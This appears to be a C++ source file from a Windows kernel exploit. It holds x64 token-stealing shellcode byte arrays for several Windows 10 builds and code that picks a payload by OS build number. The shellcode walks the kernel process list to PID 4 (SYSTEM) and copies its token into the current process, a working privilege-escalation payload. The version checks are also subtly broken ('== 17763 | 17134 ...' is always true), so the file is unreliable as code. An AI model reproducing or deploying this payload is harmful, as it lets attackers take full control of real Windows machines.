See More

#include "shellcode.h" // Version 19041 unsigned char shellcode_Win10_2004[]= "\x48\x31\xc0" "\x65\x48\x8b\x80\x88\x01\x00\x00" "\x48\x8b\x80\xb8\x00\x00\x00" "\x49\x89\xc0" "\x48\x8b\x80\x48\x04\x00\x00" "\x48\x2d\x48\x04\x00\x00" "\x48\x8b\x88\x40\x04\x00\x00" "\x48\x83\xf9\x04" "\x75\xe6" "\x4c\x8b\x88\xb8\x04\x00\x00" "\x4d\x89\x88\xb8\x04\x00\x00"; // Version 18362 unsigned char shellcode_Win10_1903_1909[]= "\x48\x31\xc0" "\x65\x48\x8b\x80\x88\x01\x00\x00" "\x48\x8b\x80\xb8\x00\x00\x00" "\x49\x89\xc0" "\x48\x8b\x80\xf0\x02\x00\x00" "\x48\x2d\xf0\x02\x00\x00" "\x48\x8b\x88\xe8\x02\x00\x00" "\x48\x83\xf9\x04" "\x75\xe6" "\x4c\x8b\x88\x60\x03\x00\x00" "\x4d\x89\x88\x60\x03\x00\x00"; // Versions: 17763 | 17134 | 16299 | 15063 unsigned char shellcode_Win10_1703_1809[] = "\x48\x31\xc0" "\x65\x48\x8b\x80\x88\x01\x00\x00" "\x48\x8b\x80\xb8\x00\x00\x00" "\x49\x89\xc0" "\x48\x8b\x80\xe8\x02\x00\x00" "\x48\x2d\xe8\x02\x00\x00" "\x48\x8b\x88\xe0\x02\x00\x00" "\x48\x83\xf9\x04" "\x75\xe6" "\x4c\x8b\x88\x58\x03\x00\x00" "\x4d\x89\x88\x58\x03\x00\x00"; // Version 14393 unsigned char shellcode_Win10_1507_1607[] = "\x48\x31\xc0" "\x65\x48\x8b\x80\x88\x01\x00\x00" "\x48\x8b\x80\xb8\x00\x00\x00" "\x49\x89\xc0" "\x48\x8b\x80\xf0\x02\x00\x00" "\x48\x2d\xf0\x02\x00\x00" "\x48\x8b\x88\xe8\x02\x00\x00" "\x48\x83\xf9\x04" "\x75\xe6" "\x4c\x8b\x88\xb8\x04\x00\x00" "\x4d\x89\x88\xb8\x04\x00\x00"; int checkVersion() { std::cout << "[+] Checking Windows version..." << std::endl; HMODULE moduleHandle{}; using RtlGetNtVersionNumbersType = void (*)(short*, short*, short*); if (moduleHandle = LoadLibrary(L"ntdll.dll")) { short i = 0, j = 0, p = 0; RtlGetNtVersionNumbersType RtlGetNtVersionNumbers = reinterpret_cast( GetProcAddress(moduleHandle, "RtlGetNtVersionNumbers")); if (RtlGetNtVersionNumbers) { RtlGetNtVersionNumbers(&i, &j, &p); printf("[+] Version: Windows %d.%d.%d\n", i, j, p); } FreeLibrary(moduleHandle); return p; } } void getShellcode(unsigned char* shellcode) { int N = 63; if (checkVersion() == 19041) { for (int i = 0; i < N; i++) { shellcode[i] = shellcode_Win10_2004[i]; } } else if (checkVersion() == 18362) { for (int i = 0; i < N; i++) { shellcode[i] = shellcode_Win10_1903_1909[i]; } } else if (checkVersion() == 17763 | 17134 | 16299 | 15063) { for (int i = 0; i < N; i++) { shellcode[i] = shellcode_Win10_1703_1809[i]; } } else if (checkVersion() == 10240 | 10586 | 14393) { for (int i = 0; i < N; i++) { shellcode[i] = shellcode_Win10_1507_1607[i]; } } else { std::cout << "[-] Windows version incompatible with payloads. Exiting..." << std::endl; exit(1); } }